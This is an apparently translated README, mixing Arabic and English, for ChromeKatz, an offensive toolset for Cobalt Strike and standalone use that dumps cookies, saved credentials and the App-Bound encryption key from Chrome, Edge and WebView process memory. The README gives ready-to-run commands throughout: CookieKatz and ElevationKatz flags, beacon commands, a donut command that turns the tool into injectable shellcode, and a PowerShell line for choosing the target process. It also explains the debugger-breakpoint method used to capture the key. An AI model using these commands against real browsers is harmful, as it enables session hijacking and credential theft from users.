
تفريغ ملفات تعريف الارتباط وبيانات الاعتماد مباشرةً من ذاكرة عملية Chrome/Edge
ChromeKatz هو حل لاستخراج المعلومات الحساسة من ذاكرة المتصفحات المبنية على Chromium. حاليًا، يتكون ChromeKatz من ثلاثة مشاريع:
يتوفر CookieKatz كملف تنفيذي (exe)، وملف كائن Beacon (Beacon Object File)، ومحلل تفريغ مصغر (minidump parser). وكذلك الحال بالنسبة لـ ElevationKatz كملف تنفيذي وملف كائن Beacon.
أصبح ElevationKatz الآن قادرًا على تحليل قواعد بيانات ملفات تعريف الارتباط وبيانات الاعتماد من ذاكرة المتصفح وفك تشفيرها نيابةً عنك.
تمت إعادة تصميم CookieKatz بالكامل لاستخدام طريقة أكثر متانة للعثور على ملفات تعريف الارتباط! الطريقة الجديدة تدعم إصدارات المتصفح الأقدم أيضًا.
يوجد الآن علم جديد /inject تمت إضافته إلى CookieKatz لهزيمة التشفير المرتبط بالتطبيق (App-Bound Encryption) على المتصفحات ذات الصلة!
أحتاج إلى قهوة، وقططي تحتاج أيضًا!
CookieKatz هو مشروع يسمح للمشغّلين (operators) بتفريغ ملفات تعريف الارتباط من Chrome أو Edge أو Msedgewebview2 مباشرةً من ذاكرة العملية. متصفحات Chromium تقوم بتحميل جميع ملفات تعريف الارتباط من قاعدة بيانات الكوكيز المخزنة على القرص عند بدء التشغيل.
فوائد هذا الأسلوب هي*:
هذه العبارات لا تزال صحيحة على بعض المتصفحات/التطبيقات. بالنسبة لأحدث إصدارات Chrome، ستحتاج إلى الحقن في العملية. ... أو استخدام ElevationKatz
إصدارات المتصفحات 32bit غير مدعومة، وإصدارات CookieKatz المبنية لـ 32bit غير مدعومة أيضًا.
حاليًا يتم تفريغ ملفات تعريف الارتباط العادية فقط. يقوم Chromium بتخزين ملفات تعريف الارتباط المقسمة (Partitioned Cookies) في مكان مختلف وهي غير مشمولة حاليًا في التفريغ.
يتكون هذا الحل من ثلاثة مشاريع: CookieKatz وهو ملف تنفيذي PE، وCookieKatz-BOF وهو نسخة ملف كائن Beacon، وCookieKatzMinidump وهو محلل ملفات التفريغ المصغّرة.
ملاحظة! عند اختيار استهداف PID، استخدم الأمرين /list أو cookie-katz-find على التوالي لاختيار العملية الفرعية الصحيحة!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
يتيح ElevationKatz للمشغّلين تفريغ مفتاح تشفير ملف تعريف المتصفح من الذاكرة للسماح بالوصول إلى المعلومات الحساسة للمستخدم. يعمل هذا عن طريق بدء عملية متصفح جديدة بحالة معلّقة (suspended)، وإعداد نقاط توقف (breakpoints)، وتفريغ المفتاح بمجرد أن تستلم عملية المتصفح المفتاح من خدمة الارتفاع (elevator service).
فوائد هذا الأسلوب هي:
سيقوم ElevationKatz ببدء عملية متصفح جديدة في حالة معلّقة وإرفاق مصحّح أخطاء (debugger) بها. ثم سيقوم بفحص مكتبة المتصفح (dll) للعثور على التعليمات التي يعود عندها المتصفح من استدعاء os_crypt::DecryptAppBoundString وتعيين نقطة توقف فورًا بعدها. بمجرد الوصول إلى نقطة التوقف، ستقوم الأداة بتفريغ مفتاح التشفير من الذاكرة.
هناك نوعان من نقاط التوقف يمكن للمشغّل الاختيار بينهما: نقاط توقف برمجية (Software) وعتادية (Hardware).
بالإضافة إلى ذلك، بالنسبة لنقاط التوقف العتادية (HW)، هناك طريقتان مدعومتان لتعداد الخيوط للاختيار من بينهما: NtGetNextThread وCreateToolhelp32Snapshot. نقاط التوقف البرمجية (SW) لا تحتاج إلى تعداد خيوط، وبالتالي فإن العلم /tl32 لا يؤثر عليها.
يمكن استخدام معامل config الجديد لفك تشفير قواعد بيانات الملف الشخصي تلقائيًا. يستخدم هذا تقنية IHack4Falafel's لتحليل قاعدتي بيانات Cookie وLogin Profile من ذاكرة المتصفح، متجنبًا لمس الملفات مباشرةً.
ملاحظة التفريغ يعمل فقط مع نقاط التوقف العتادية (HW Breakpoints) لأنني لم أستطع معرفة كيفية تنظيف نقاط التوقف البرمجية (SW) بشكل صحيح وإرجاع RIP لتجنب تعطل العملية.
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
لقد أعددت تقريرًا لمشروع Chromium حول الثغرة التي كان CredentialKatz يستغلها في الأصل، وقد وصفوها بأنها "لن يتم إصلاحها" وقالوا إنهم لا يهتمون إذا بقيت بيانات الاعتماد في الذاكرة.
فجأة قاموا بإصلاح الثغرة بالطريقة التي اقترحتها بالضبط بعد نشر الأداة :3 https://issues.chromium.org/issues/352085708
قم بتنزيل أحدث إصدار من BOFs الخاصة بـ ChromeKatz هنا. يحتوي ملف zip على ملفات BOF المترجمة وسكربت CNA لتشغيلها.
يمكنك بناء كلا المشروعين على Visual Studio باستخدام إعداد Release أو Debug ومنصة x64.
تم تطوير نسخة BOF باستخدام قالب Visual Studio الخاص بـ Cobalt Strike bof-vs. هذا يعني أن إعداد Debug لملفات *-BOFs سيولّد ملف exe بدلاً من ملف COFF. يمكنك قراءة المزيد حول استخدام قالب Visual Studio هنا.
يمكنك ترجمة BOF الخاص بك باستخدام nmake في موجه أوامر أدوات x64 الأصلية لـ VS 2022:
nmake all